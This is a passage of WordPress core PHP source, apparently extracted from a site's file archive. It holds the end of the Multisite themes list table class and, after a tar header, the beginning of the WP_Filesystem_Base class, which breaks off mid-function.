				'per_page'    => $themes_per_page,
			)
		);
	}

	/**
	 * @param WP_Theme $theme
	 * @return bool
	 */
	public function _search_callback( $theme ) {
		static $term = null;
		if ( is_null( $term ) ) {
			$term = wp_unslash( $_REQUEST['s'] );
		}

		foreach ( array( 'Name', 'Description', 'Author', 'Author', 'AuthorURI' ) as $field ) {
			// Don't mark up; Do translate.
			if ( false !== stripos( $theme->display( $field, false, true ), $term ) ) {
				return true;
			}
		}

		if ( false !== stripos( $theme->get_stylesheet(), $term ) ) {
			return true;
		}

		if ( false !== stripos( $theme->get_template(), $term ) ) {
			return true;
		}

		return false;
	}

	// Not used by any core columns.
	/**
	 * @global string $orderby
	 * @global string $order
	 * @param array $theme_a
	 * @param array $theme_b
	 * @return int
	 */
	public function _order_callback( $theme_a, $theme_b ) {
		global $orderby, $order;

		$a = $theme_a[ $orderby ];
		$b = $theme_b[ $orderby ];

		if ( $a === $b ) {
			return 0;
		}

		if ( 'DESC' === $order ) {
			return ( $a < $b ) ? 1 : -1;
		} else {
			return ( $a < $b ) ? -1 : 1;
		}
	}

	/**
	 */
	public function no_items() {
		if ( $this->has_items ) {
			_e( 'No themes found.' );
		} else {
			_e( 'No themes are currently available.' );
		}
	}

	/**
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		$columns = array(
			'cb'          => '<input type="checkbox" />',
			'name'        => __( 'Theme' ),
			'description' => __( 'Description' ),
		);

		if ( $this->show_autoupdates ) {
			$columns['auto-updates'] = __( 'Automatic Updates' );
		}

		return $columns;
	}

	/**
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array(
			'name' => array( 'name', false, __( 'Theme' ), __( 'Table ordered by Theme Name.' ), 'asc' ),
		);
	}

	/**
	 * Gets the name of the primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Unalterable name of the primary column name, in this case, 'name'.
	 */
	protected function get_primary_column_name() {
		return 'name';
	}

	/**
	 * @global array $totals
	 * @global string $status
	 * @return array
	 */
	protected function get_views() {
		global $totals, $status;

		$status_links = array();
		foreach ( $totals as $type => $count ) {
			if ( ! $count ) {
				continue;
			}

			switch ( $type ) {
				case 'all':
					/* translators: %s: Number of themes. */
					$text = _nx(
						'All <span class="count">(%s)</span>',
						'All <span class="count">(%s)</span>',
						$count,
						'themes'
					);
					break;
				case 'enabled':
					/* translators: %s: Number of themes. */
					$text = _nx(
						'Enabled <span class="count">(%s)</span>',
						'Enabled <span class="count">(%s)</span>',
						$count,
						'themes'
					);
					break;
				case 'disabled':
					/* translators: %s: Number of themes. */
					$text = _nx(
						'Disabled <span class="count">(%s)</span>',
						'Disabled <span class="count">(%s)</span>',
						$count,
						'themes'
					);
					break;
				case 'upgrade':
					/* translators: %s: Number of themes. */
					$text = _nx(
						'Update Available <span class="count">(%s)</span>',
						'Update Available <span class="count">(%s)</span>',
						$count,
						'themes'
					);
					break;
				case 'broken':
					/* translators: %s: Number of themes. */
					$text = _nx(
						'Broken <span class="count">(%s)</span>',
						'Broken <span class="count">(%s)</span>',
						$count,
						'themes'
					);
					break;
				case 'auto-update-enabled':
					/* translators: %s: Number of themes. */
					$text = _n(
						'Auto-updates Enabled <span class="count">(%s)</span>',
						'Auto-updates Enabled <span class="count">(%s)</span>',
						$count
					);
					break;
				case 'auto-update-disabled':
					/* translators: %s: Number of themes. */
					$text = _n(
						'Auto-updates Disabled <span class="count">(%s)</span>',
						'Auto-updates Disabled <span class="count">(%s)</span>',
						$count
					);
					break;
			}

			if ( $this->is_site_themes ) {
				$url = 'site-themes.php?id=' . $this->site_id;
			} else {
				$url = 'themes.php';
			}

			if ( 'search' !== $type ) {
				$status_links[ $type ] = array(
					'url'     => esc_url( add_query_arg( 'theme_status', $type, $url ) ),
					'label'   => sprintf( $text, number_format_i18n( $count ) ),
					'current' => $type === $status,
				);
			}
		}

		return $this->get_views_links( $status_links );
	}

	/**
	 * @global string $status
	 *
	 * @return array
	 */
	protected function get_bulk_actions() {
		global $status;

		$actions = array();
		if ( 'enabled' !== $status ) {
			$actions['enable-selected'] = $this->is_site_themes ? __( 'Enable' ) : __( 'Network Enable' );
		}
		if ( 'disabled' !== $status ) {
			$actions['disable-selected'] = $this->is_site_themes ? __( 'Disable' ) : __( 'Network Disable' );
		}
		if ( ! $this->is_site_themes ) {
			if ( current_user_can( 'update_themes' ) ) {
				$actions['update-selected'] = __( 'Update' );
			}
			if ( current_user_can( 'delete_themes' ) ) {
				$actions['delete-selected'] = __( 'Delete' );
			}
		}

		if ( $this->show_autoupdates ) {
			if ( 'auto-update-enabled' !== $status ) {
				$actions['enable-auto-update-selected'] = __( 'Enable Auto-updates' );
			}

			if ( 'auto-update-disabled' !== $status ) {
				$actions['disable-auto-update-selected'] = __( 'Disable Auto-updates' );
			}
		}

		return $actions;
	}

	/**
	 */
	public function display_rows() {
		foreach ( $this->items as $theme ) {
			$this->single_row( $theme );
		}
	}

	/**
	 * Handles the checkbox column output.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$theme` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Theme $item The current WP_Theme object.
	 */
	public function column_cb( $item ) {
		// Restores the more descriptive, specific name for use within this method.
		$theme = $item;

		$checkbox_id = 'checkbox_' . md5( $theme->get( 'Name' ) );
		?>
		<input type="checkbox" name="checked[]" value="<?php echo esc_attr( $theme->get_stylesheet() ); ?>" id="<?php echo $checkbox_id; ?>" />
		<label for="<?php echo $checkbox_id; ?>" >
			<span class="screen-reader-text">
			<?php
			printf(
				/* translators: Hidden accessibility text. %s: Theme name */
				__( 'Select %s' ),
				$theme->display( 'Name' )
			);
			?>
			</span>
		</label>
		<?php
	}

	/**
	 * Handles the name column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $status
	 * @global int    $page
	 * @global string $s
	 *
	 * @param WP_Theme $theme The current WP_Theme object.
	 */
	public function column_name( $theme ) {
		global $status, $page, $s;

		$context = $status;

		if ( $this->is_site_themes ) {
			$url     = "site-themes.php?id={$this->site_id}&amp;";
			$allowed = $theme->is_allowed( 'site', $this->site_id );
		} else {
			$url     = 'themes.php?';
			$allowed = $theme->is_allowed( 'network' );
		}

		// Pre-order.
		$actions = array(
			'enable'  => '',
			'disable' => '',
			'delete'  => '',
		);

		$stylesheet = $theme->get_stylesheet();
		$theme_key  = urlencode( $stylesheet );

		if ( ! $allowed ) {
			if ( ! $theme->errors() ) {
				$url = add_query_arg(
					array(
						'action' => 'enable',
						'theme'  => $theme_key,
						'paged'  => $page,
						's'      => $s,
					),
					$url
				);

				if ( $this->is_site_themes ) {
					/* translators: %s: Theme name. */
					$aria_label = sprintf( __( 'Enable %s' ), $theme->display( 'Name' ) );
				} else {
					/* translators: %s: Theme name. */
					$aria_label = sprintf( __( 'Network Enable %s' ), $theme->display( 'Name' ) );
				}

				$actions['enable'] = sprintf(
					'<a href="%s" class="edit" aria-label="%s">%s</a>',
					esc_url( wp_nonce_url( $url, 'enable-theme_' . $stylesheet ) ),
					esc_attr( $aria_label ),
					( $this->is_site_themes ? __( 'Enable' ) : __( 'Network Enable' ) )
				);
			}
		} else {
			$url = add_query_arg(
				array(
					'action' => 'disable',
					'theme'  => $theme_key,
					'paged'  => $page,
					's'      => $s,
				),
				$url
			);

			if ( $this->is_site_themes ) {
				/* translators: %s: Theme name. */
				$aria_label = sprintf( __( 'Disable %s' ), $theme->display( 'Name' ) );
			} else {
				/* translators: %s: Theme name. */
				$aria_label = sprintf( __( 'Network Disable %s' ), $theme->display( 'Name' ) );
			}

			$actions['disable'] = sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				esc_url( wp_nonce_url( $url, 'disable-theme_' . $stylesheet ) ),
				esc_attr( $aria_label ),
				( $this->is_site_themes ? __( 'Disable' ) : __( 'Network Disable' ) )
			);
		}

		if ( ! $allowed && ! $this->is_site_themes
			&& current_user_can( 'delete_themes' )
			&& get_option( 'stylesheet' ) !== $stylesheet
			&& get_option( 'template' ) !== $stylesheet
		) {
			$url = add_query_arg(
				array(
					'action'       => 'delete-selected',
					'checked[]'    => $theme_key,
					'theme_status' => $context,
					'paged'        => $page,
					's'            => $s,
				),
				'themes.php'
			);

			/* translators: %s: Theme name. */
			$aria_label = sprintf( _x( 'Delete %s', 'theme' ), $theme->display( 'Name' ) );

			$actions['delete'] = sprintf(
				'<a href="%s" class="delete" aria-label="%s">%s</a>',
				esc_url( wp_nonce_url( $url, 'bulk-themes' ) ),
				esc_attr( $aria_label ),
				__( 'Delete' )
			);
		}
		/**
		 * Filters the action links displayed for each theme in the Multisite
		 * themes list table.
		 *
		 * The action links displayed are determined by the theme's status, and
		 * which Multisite themes list table is being displayed - the Network
		 * themes list table (themes.php), which displays all installed themes,
		 * or the Site themes list table (site-themes.php), which displays the
		 * non-network enabled themes when editing a site in the Network admin.
		 *
		 * The default action links for the Network themes list table include
		 * 'Network Enable', 'Network Disable', and 'Delete'.
		 *
		 * The default action links for the Site themes list table include
		 * 'Enable', and 'Disable'.
		 *
		 * @since 2.8.0
		 *
		 * @param string[] $actions An array of action links.
		 * @param WP_Theme $theme   The current WP_Theme object.
		 * @param string   $context Status of the theme, one of 'all', 'enabled', or 'disabled'.
		 */
		$actions = apply_filters( 'theme_action_links', array_filter( $actions ), $theme, $context );

		/**
		 * Filters the action links of a specific theme in the Multisite themes
		 * list table.
		 *
		 * The dynamic portion of the hook name, `$stylesheet`, refers to the
		 * directory name of the theme, which in most cases is synonymous
		 * with the template name.
		 *
		 * @since 3.1.0
		 *
		 * @param string[] $actions An array of action links.
		 * @param WP_Theme $theme   The current WP_Theme object.
		 * @param string   $context Status of the theme, one of 'all', 'enabled', or 'disabled'.
		 */
		$actions = apply_filters( "theme_action_links_{$stylesheet}", $actions, $theme, $context );

		echo $this->row_actions( $actions, true );
	}

	/**
	 * Handles the description column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $status
	 * @global array  $totals
	 *
	 * @param WP_Theme $theme The current WP_Theme object.
	 */
	public function column_description( $theme ) {
		global $status, $totals;

		if ( $theme->errors() ) {
			$pre = 'broken' === $status ? __( 'Broken Theme:' ) . ' ' : '';
			echo '<p><strong class="error-message">' . $pre . $theme->errors()->get_error_message() . '</strong></p>';
		}

		if ( $this->is_site_themes ) {
			$allowed = $theme->is_allowed( 'site', $this->site_id );
		} else {
			$allowed = $theme->is_allowed( 'network' );
		}

		$class = ! $allowed ? 'inactive' : 'active';
		if ( ! empty( $totals['upgrade'] ) && ! empty( $theme->update ) ) {
			$class .= ' update';
		}

		echo "<div class='theme-description'><p>" . $theme->display( 'Description' ) . "</p></div>
			<div class='$class second theme-version-author-uri'>";

		$stylesheet = $theme->get_stylesheet();
		$theme_meta = array();

		if ( $theme->get( 'Version' ) ) {
			/* translators: %s: Theme version. */
			$theme_meta[] = sprintf( __( 'Version %s' ), $theme->display( 'Version' ) );
		}

		/* translators: %s: Theme author. */
		$theme_meta[] = sprintf( __( 'By %s' ), $theme->display( 'Author' ) );

		if ( $theme->get( 'ThemeURI' ) ) {
			/* translators: %s: Theme name. */
			$aria_label = sprintf( __( 'Visit theme site for %s' ), $theme->display( 'Name' ) );

			$theme_meta[] = sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				$theme->display( 'ThemeURI' ),
				esc_attr( $aria_label ),
				__( 'Visit Theme Site' )
			);
		}

		if ( $theme->parent() ) {
			$theme_meta[] = sprintf(
				/* translators: %s: Theme name. */
				__( 'Child theme of %s' ),
				'<strong>' . $theme->parent()->display( 'Name' ) . '</strong>'
			);
		}

		/**
		 * Filters the array of row meta for each theme in the Multisite themes
		 * list table.
		 *
		 * @since 3.1.0
		 *
		 * @param string[] $theme_meta An array of the theme's metadata, including
		 *                             the version, author, and theme URI.
		 * @param string   $stylesheet Directory name of the theme.
		 * @param WP_Theme $theme      WP_Theme object.
		 * @param string   $status     Status of the theme.
		 */
		$theme_meta = apply_filters( 'theme_row_meta', $theme_meta, $stylesheet, $theme, $status );

		echo implode( ' | ', $theme_meta );

		echo '</div>';
	}

	/**
	 * Handles the auto-updates column output.
	 *
	 * @since 5.5.0
	 *
	 * @global string $status
	 * @global int  $page
	 *
	 * @param WP_Theme $theme The current WP_Theme object.
	 */
	public function column_autoupdates( $theme ) {
		global $status, $page;

		static $auto_updates, $available_updates;

		if ( ! $auto_updates ) {
			$auto_updates = (array) get_site_option( 'auto_update_themes', array() );
		}
		if ( ! $available_updates ) {
			$available_updates = get_site_transient( 'update_themes' );
		}

		$stylesheet = $theme->get_stylesheet();

		if ( isset( $theme->auto_update_forced ) ) {
			if ( $theme->auto_update_forced ) {
				// Forced on.
				$text = __( 'Auto-updates enabled' );
			} else {
				$text = __( 'Auto-updates disabled' );
			}
			$action     = 'unavailable';
			$time_class = ' hidden';
		} elseif ( empty( $theme->update_supported ) ) {
			$text       = '';
			$action     = 'unavailable';
			$time_class = ' hidden';
		} elseif ( in_array( $stylesheet, $auto_updates, true ) ) {
			$text       = __( 'Disable auto-updates' );
			$action     = 'disable';
			$time_class = '';
		} else {
			$text       = __( 'Enable auto-updates' );
			$action     = 'enable';
			$time_class = ' hidden';
		}

		$query_args = array(
			'action'       => "{$action}-auto-update",
			'theme'        => $stylesheet,
			'paged'        => $page,
			'theme_status' => $status,
		);

		$url = add_query_arg( $query_args, 'themes.php' );

		if ( 'unavailable' === $action ) {
			$html[] = '<span class="label">' . $text . '</span>';
		} else {
			$html[] = sprintf(
				'<a href="%s" class="toggle-auto-update aria-button-if-js" data-wp-action="%s">',
				wp_nonce_url( $url, 'updates' ),
				$action
			);

			$html[] = '<span class="dashicons dashicons-update spin hidden" aria-hidden="true"></span>';
			$html[] = '<span class="label">' . $text . '</span>';
			$html[] = '</a>';

		}

		if ( isset( $available_updates->response[ $stylesheet ] ) ) {
			$html[] = sprintf(
				'<div class="auto-update-time%s">%s</div>',
				$time_class,
				wp_get_auto_update_message()
			);
		}

		$html = implode( '', $html );

		/**
		 * Filters the HTML of the auto-updates setting for each theme in the Themes list table.
		 *
		 * @since 5.5.0
		 *
		 * @param string   $html       The HTML for theme's auto-update setting, including
		 *                             toggle auto-update action link and time to next update.
		 * @param string   $stylesheet Directory name of the theme.
		 * @param WP_Theme $theme      WP_Theme object.
		 */
		echo apply_filters( 'theme_auto_update_setting_html', $html, $stylesheet, $theme );

		wp_admin_notice(
			'',
			array(
				'type'               => 'error',
				'additional_classes' => array( 'notice-alt', 'inline', 'hidden' ),
			)
		);
	}

	/**
	 * Handles default column output.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$theme` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Theme $item        The current WP_Theme object.
	 * @param string   $column_name The current column name.
	 */
	public function column_default( $item, $column_name ) {
		// Restores the more descriptive, specific name for use within this method.
		$theme = $item;

		$stylesheet = $theme->get_stylesheet();

		/**
		 * Fires inside each custom column of the Multisite themes list table.
		 *
		 * @since 3.1.0
		 *
		 * @param string   $column_name Name of the column.
		 * @param string   $stylesheet  Directory name of the theme.
		 * @param WP_Theme $theme       Current WP_Theme object.
		 */
		do_action( 'manage_themes_custom_column', $column_name, $stylesheet, $theme );
	}

	/**
	 * Handles the output for a single table row.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_Theme $item The current WP_Theme object.
	 */
	public function single_row_columns( $item ) {
		list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info();

		foreach ( $columns as $column_name => $column_display_name ) {
			$extra_classes = '';
			if ( in_array( $column_name, $hidden, true ) ) {
				$extra_classes .= ' hidden';
			}

			switch ( $column_name ) {
				case 'cb':
					echo '<th scope="row" class="check-column">';

					$this->column_cb( $item );

					echo '</th>';
					break;

				case 'name':
					$active_theme_label = '';

					/* The presence of the site_id property means that this is a subsite view and a label for the active theme needs to be added */
					if ( ! empty( $this->site_id ) ) {
						$stylesheet = get_blog_option( $this->site_id, 'stylesheet' );
						$template   = get_blog_option( $this->site_id, 'template' );

						/* Add a label for the active template */
						if ( $item->get_template() === $template ) {
							$active_theme_label = ' &mdash; ' . __( 'Active Theme' );
						}

						/* In case this is a child theme, label it properly */
						if ( $stylesheet !== $template && $item->get_stylesheet() === $stylesheet ) {
							$active_theme_label = ' &mdash; ' . __( 'Active Child Theme' );
						}
					}

					echo "<td class='theme-title column-primary{$extra_classes}'><strong>" . $item->display( 'Name' ) . $active_theme_label . '</strong>';

					$this->column_name( $item );

					echo '</td>';
					break;

				case 'description':
					echo "<td class='column-description desc{$extra_classes}'>";

					$this->column_description( $item );

					echo '</td>';
					break;

				case 'auto-updates':
					echo "<td class='column-auto-updates{$extra_classes}'>";

					$this->column_autoupdates( $item );

					echo '</td>';
					break;
				default:
					echo "<td class='$column_name column-$column_name{$extra_classes}'>";

					$this->column_default( $item, $column_name );

					echo '</td>';
					break;
			}
		}
	}

	/**
	 * @global string $status
	 * @global array  $totals
	 *
	 * @param WP_Theme $theme
	 */
	public function single_row( $theme ) {
		global $status, $totals;

		if ( $this->is_site_themes ) {
			$allowed = $theme->is_allowed( 'site', $this->site_id );
		} else {
			$allowed = $theme->is_allowed( 'network' );
		}

		$stylesheet = $theme->get_stylesheet();

		$class = ! $allowed ? 'inactive' : 'active';
		if ( ! empty( $totals['upgrade'] ) && ! empty( $theme->update ) ) {
			$class .= ' update';
		}

		printf(
			'<tr class="%s" data-slug="%s">',
			esc_attr( $class ),
			esc_attr( $stylesheet )
		);

		$this->single_row_columns( $theme );

		echo '</tr>';

		if ( $this->is_site_themes ) {
			remove_action( "after_theme_row_$stylesheet", 'wp_theme_update_row' );
		}

		/**
		 * Fires after each row in the Multisite themes list table.
		 *
		 * @since 3.1.0
		 *
		 * @param string   $stylesheet Directory name of the theme.
		 * @param WP_Theme $theme      Current WP_Theme object.
		 * @param string   $status     Status of the theme.
		 */
		do_action( 'after_theme_row', $stylesheet, $theme, $status );

		/**
		 * Fires after each specific row in the Multisite themes list table.
		 *
		 * The dynamic portion of the hook name, `$stylesheet`, refers to the
		 * directory name of the theme, most often synonymous with the template
		 * name of the theme.
		 *
		 * @since 3.5.0
		 *
		 * @param string   $stylesheet Directory name of the theme.
		 * @param WP_Theme $theme      Current WP_Theme object.
		 * @param string   $status     Status of the theme.
		 */
		do_action( "after_theme_row_{$stylesheet}", $stylesheet, $theme, $status );
	}
}
class-wp-filesystem-base.php.tar000064400000063000150275632050012671 0ustar00home/natitnen/crestassured.com/wp-admin/includes/class-wp-filesystem-base.php000064400000057532150275043300023471 0ustar00<?php
/**
 * Base WordPress Filesystem
 *
 * @package WordPress
 * @subpackage Filesystem
 */

/**
 * Base WordPress Filesystem class which Filesystem implementations extend.
 *
 * @since 2.5.0
 */
#[AllowDynamicProperties]
class WP_Filesystem_Base {

	/**
	 * Whether to display debug data for the connection.
	 *
	 * @since 2.5.0
	 * @var bool
	 */
	public $verbose = false;

	/**
	 * Cached list of local filepaths to mapped remote filepaths.
	 *
	 * @since 2.7.0
	 * @var array
	 */
	public $cache = array();

	/**
	 * The Access method of the current connection, Set automatically.
	 *
	 * @since 2.5.0
	 * @var string
	 */
	public $method = '';

	/**
	 * @var WP_Error
	 */
	public $errors = null;

	/**
	 */
	public $options = array();

	/**
	 * Returns the path on the remote filesystem of ABSPATH.
	 *
	 * @since 2.7.0
	 *
	 * @return string The location of the remote path.
	 */
	public function abspath() {
		$folder = $this->find_folder( ABSPATH );

		/*
		 * Perhaps the FTP folder is rooted at the WordPress install.
		 * Check for wp-includes folder in root. Could have some false positives, but rare.
		 */
		if ( ! $folder && $this->is_dir( '/' . WPINC ) ) {
			$folder = '/';
		}

		return $folder;
	}

	/**
	 * Returns the path on the remote filesystem of WP_CONTENT_DIR.
	 *
	 * @since 2.7.0
	 *
	 * @return string The location of the remote path.
	 */
	public function wp_content_dir() {
		return $this->find_folder( WP_CONTENT_DIR );
	}

	/**
	 * Returns the path on the remote filesystem of WP_PLUGIN_DIR.
	 *
	 * @since 2.7.0
	 *
	 * @return string The location of the remote path.
	 */
	public function wp_plugins_dir() {
		return $this->find_folder( WP_PLUGIN_DIR );
	}

	/**
	 * Returns the path on the remote filesystem of the Themes Directory.
	 *
	 * @since 2.7.0
	 *
	 * @param string|false $theme Optional. The theme stylesheet or template for the directory.
	 *                            Default false.
	 * @return string The location of the remote path.
	 */
	public function wp_themes_dir( $theme = false ) {
		$theme_root = get_theme_root( $theme );

		// Account for relative theme roots.
		if ( '/themes' === $theme_root || ! is_dir( $theme_root ) ) {
			$theme_root = WP_CONTENT_DIR . $theme_root;
		}

		return $this->find_folder( $theme_root );
	}

	/**
	 * Returns the path on the remote filesystem of WP_LANG_DIR.
	 *
	 * @since 3.2.0
	 *
	 * @return string The location of the remote path.
	 */
	public function wp_lang_dir() {
		return $this->find_folder( WP_LANG_DIR );
	}

	/**
	 * Locates a folder on the remote filesystem.
	 *
	 * @since 2.5.0
	 * @deprecated 2.7.0 use WP_Filesystem_Base::abspath() or WP_Filesystem_Base::wp_*_dir() instead.
	 * @see WP_Filesystem_Base::abspath()
	 * @see WP_Filesystem_Base::wp_content_dir()
	 * @see WP_Filesystem_Base::wp_plugins_dir()
	 * @see WP_Filesystem_Base::wp_themes_dir()
	 * @see WP_Filesystem_Base::wp_lang_dir()
	 *
	 * @param string $base    Optional. The folder to start searching from. Default '.'.
	 * @param bool   $verbose Optional. True to display debug information. Default false.
	 * @return string The location of the remote path.
	 */
	public function find_base_dir( $base = '.', $verbose = false ) {
		_deprecated_function( __FUNCTION__, '2.7.0', 'WP_Filesystem_Base::abspath() or WP_Filesystem_Base::wp_*_dir()' );
		$this->verbose = $verbose;
		return $this->abspath();
	}

	/**
	 * Locates a folder on the remote filesystem.
	 *
	 * @since 2.5.0
	 * @deprecated 2.7.0 use WP_Filesystem_Base::abspath() or WP_Filesystem_Base::wp_*_dir() methods instead.
	 * @see WP_Filesystem_Base::abspath()
	 * @see WP_Filesystem_Base::wp_content_dir()
	 * @see WP_Filesystem_Base::wp_plugins_dir()
	 * @see WP_Filesystem_Base::wp_themes_dir()
	 * @see WP_Filesystem_Base::wp_lang_dir()
	 *
	 * @param string $base    Optional. The folder to start searching from. Default '.'.
	 * @param bool   $verbose Optional. True to display debug information. Default false.
	 * @return string The location of the remote path.
	 */
	public function get_base_dir( $base = '.', $verbose = false ) {
		_deprecated_function( __FUNCTION__, '2.7.0', 'WP_Filesystem_Base::abspath() or WP_Filesystem_Base::wp_*_dir()' );
		$this->verbose = $verbose;
		return $this->abspath();
	}

	/**
	 * Locates a folder on the remote filesystem.
	 *
	 * Assumes that on Windows systems, Stripping off the Drive
	 * letter is OK Sanitizes \\ to / in Windows filepaths.
	 *
	 * @since 2.7.0
	 *
	 * @param string $folder the folder to locate.
	 * @return string|false The location of the remote path, false on failure.
	 */
	public function find_folder( $folder ) {
		if ( isset( $this->cache[ $folder ] ) ) {
			return $this->cache[ $folder ];
		}

		if ( stripos( $this->method, 'ftp' ) !== false ) {
			$constant_overrides = array(
				'FTP_BASE'        => ABSPATH,
				'FTP_CONTENT_DIR' => WP_CONTENT_DIR,
				'FTP_PLUGIN_DIR'  => WP_PLUGIN_DIR,
				'FTP_LANG_DIR'    => WP_LANG_DIR,
			);

			// Direct matches ( folder = CONSTANT/ ).
			foreach ( $constant_overrides as $constant => $dir ) {
				if ( ! defined( $constant ) ) {
					continue;
				}

				if ( $folder === $dir ) {
					return trailingslashit( constant( $constant ) );
				}
			}

			// Prefix matches ( folder = CONSTANT/subdir ),
			foreach ( $constant_overrides as $constant => $dir ) {
				if ( ! defined( $constant ) ) {
					continue;
				}

				if ( 0 === stripos( $folder, $dir ) ) { // $folder starts with $dir.
					$potential_folder = preg_replace( '#^' . preg_quote( $dir, '#' ) . '/#i', trailingslashit( constant( $constant ) ), $folder );
					$potential_folder = trailingslashit( $potential_folder );

					if ( $this->is_dir( $potential_folder ) ) {
						$this->cache[ $folder ] = $potential_folder;

						return $potential_folder;
					}
				}
			}
		} elseif ( 'direct' === $this->method ) {
			$folder = str_replace( '\\', '/', $folder ); // Windows path sanitization.

			return trailingslashit( $folder );
		}

		$folder = preg_replace( '|^([a-z]{1}):|i', '', $folder ); // Strip out Windows drive letter if it's there.
		$folder = str_replace( '\\', '/', $folder ); // Windows path sanitization.

		if ( isset( $this->cache[ $folder ] ) ) {
			return $this->cache[ $folder ];
		}

		if ( $this->exists( $folder ) ) { // Folder exists at that absolute path.
			$folder                 = trailingslashit( $folder );
			$this->cache[ $folder ] = $folder;

			return $folder;
		}

		$return = $this->search_for_folder( $folder );

		if ( $return ) {
			$this->cache[ $folder ] = $return;
		}

		return $return;
	}

	/**
	 * Locates a folder on the remote filesystem.
	 *
	 * Expects Windows sanitized path.
	 *
	 * @since 2.7.0
	 *
	 * @param string $folder The folder to locate.
	 * @param string $base   The folder to start searching from.
	 * @param bool   $loop   If the function has recursed. Internal use only.
	 * @return string|false The location of the remote path, false to cease looping.
	 */
	public function search_for_folder( $folder, $base = '.', $loop = false ) {
		if ( empty( $base ) || '.' === $base ) {
			$base = trailingslashit( $this->cwd() );
		}

		$folder = untrailingslashit( $folder );

		if ( $this->verbose ) {
			/* translators: 1: Folder to locate, 2: Folder to start searching from. */
			printf( "\n" . __( 'Looking for %1$s in %2$s' ) . "<br />\n", $folder, $base );
		}

		$folder_parts     = explode( '/', $folder );
		$folder_part_keys = array_keys( $folder_parts );
		$last_index       = array_pop( $folder_part_keys );
		$last_path        = $folder_parts[ $last_index ];

		$files = $this->dirlist( $base );

		foreach ( $folder_parts as $index => $key ) {
			if ( $index === $last_index ) {
				continue; // We want this to be caught by the next code block.
			}

			/*
			 * Working from /home/ to /user/ to /wordpress/ see if that file exists within
			 * the current folder, If it's found, change into it and follow through looking
			 * for it. If it can't find WordPress down that route, it'll continue onto the next
			 * folder level, and see if that matches, and so on. If it reaches the end, and still
			 * can't find it, it'll return false for the entire function.
			 */
			if ( isset( $files[ $key ] ) ) {

				// Let's try that folder:
				$newdir = trailingslashit( path_join( $base, $key ) );

				if ( $this->verbose ) {
					/* translators: %s: Directory name. */
					printf( "\n" . __( 'Changing to %s' ) . "<br />\n", $newdir );
				}

				// Only search for the remaining path tokens in the directory, not the full path again.
				$newfolder = implode( '/', array_slice( $folder_parts, $index + 1 ) );
				$ret       = $this->search_for_folder( $newfolder, $newdir, $loop );

				if ( $ret ) {
					return $ret;
				}
			}
		}

		/*
		 * Only check this as a last resort, to prevent locating the incorrect install.
		 * All above procedures will fail quickly if this is the right branch to take.
		 */
		if ( isset( $files[ $last_path ] ) ) {
			if ( $this->verbose ) {
				/* translators: %s: Directory name. */
				printf( "\n" . __( 'Found %s' ) . "<br />\n", $base . $last_path );
			}

			return trailingslashit( $base . $last_path );
		}

		/*
		 * Prevent this function from looping again.
		 * No need to proceed if we've just searched in `/`.
		 */
		if ( $loop || '/' === $base ) {
			return false;
		}

		/*
		 * As an extra last resort, Change back to / if the folder wasn't found.
		 * This comes into effect when the CWD is /home/user/ but WP is at /var/www/....
		 */
		return $this->search_for_folder( $folder, '/', true );
	}

	/**
	 * Returns the *nix-style file permissions for a file.
	 *
	 * From the PHP documentation page for fileperms().
	 *
	 * @link https://www.php.net/manual/en/function.fileperms.php
	 *
	 * @since 2.5.0
	 *
	 * @param string $file String filename.
	 * @return string The *nix-style representation of permissions.
	 */
	public function gethchmod( $file ) {
		$perms = intval( $this->getchmod( $file ), 8 );

		if ( ( $perms & 0xC000 ) === 0xC000 ) { // Socket.
			$info = 's';
		} elseif ( ( $perms & 0xA000 ) === 0xA000 ) { // Symbolic Link.
			$info = 'l';
		} elseif ( ( $perms & 0x8000 ) === 0x8000 ) { // Regular.
			$info = '-';
		} elseif ( ( $perms & 0x6000 ) === 0x6000 ) { // Block special.
			$info = 'b';
		} elseif ( ( $perms & 0x4000 ) === 0x4000 ) { // Directory.
			$info = 'd';
		} elseif ( ( $perms & 0x2000 ) === 0x2000 ) { // Character special.
			$info = 'c';
		} elseif ( ( $perms & 0x1000 ) === 0x1000 ) { // FIFO pipe.
			$info = 'p';
		} else { // Unknown.
			$info = 'u';
		}

		// Owner.
		$info .= ( ( $perms & 0x0100 ) ? 'r' : '-' );
		$info .= ( ( $perms & 0x0080 ) ? 'w' : '-' );
		$info .= ( ( $perms & 0x0040 ) ?
					( ( $perms & 0x0800 ) ? 's' : 'x' ) :
					( ( $perms & 0x0800 ) ? 'S' : '-' ) );

		// Group.
		$info .= ( ( $perms & 0x0020 ) ? 'r' : '-' );
		$info .= ( ( $perms & 0x0010 ) ? 'w' : '-' );
		$info .= ( ( $perms & 0x0008 ) ?
					( ( $perms & 0x0400 ) ? 's' : 'x' ) :
					( ( $perms & 0x0400 ) ? 'S' : '-' ) );

		// World.
		$info .= ( ( $perms & 0x0004 ) ? 'r' : '-' );
		$info .= ( ( $perms & 0x0002 ) ? 'w' : '-' );
		$info .= ( ( $perms & 0x0001 ) ?
					( ( $perms & 0x0200 ) ? 't' : 'x' ) :
					( ( $perms & 0x0200 ) ? 'T' : '-' ) );

		return $info;
	}

	/**
	 * Gets the permissions of the specified file or filepath in their octal format.
	 *
	 * @since 2.5.0
	 *
	 * @param string $file Path to the file.
	 * @return string Mode of the file (the last 3 digits).
	 */
	public function getchmod( $file ) {
		return '777';
	}

	/**
	 * Converts *nix-style file permissions to an octal number.
	 *
	 * Converts '-rw-r--r--' to 0644
	 * From "info at rvgate dot nl"'s comment on the PHP documentation for chmod()
	 *
	 * @link https://www.php.net/manual/en/function.chmod.php#49614
	 *
	 * @since 2.5.0
	 *
	 * @param string $mode string The *nix-style file permissions.
	 * @return string Octal representation of permissions.
	 */
	public function getnumchmodfromh( $mode ) {
		$realmode = '';
		$legal    = array( '', 'w', 'r', 'x', '-' );
		$attarray = preg_split( '//', $mode );

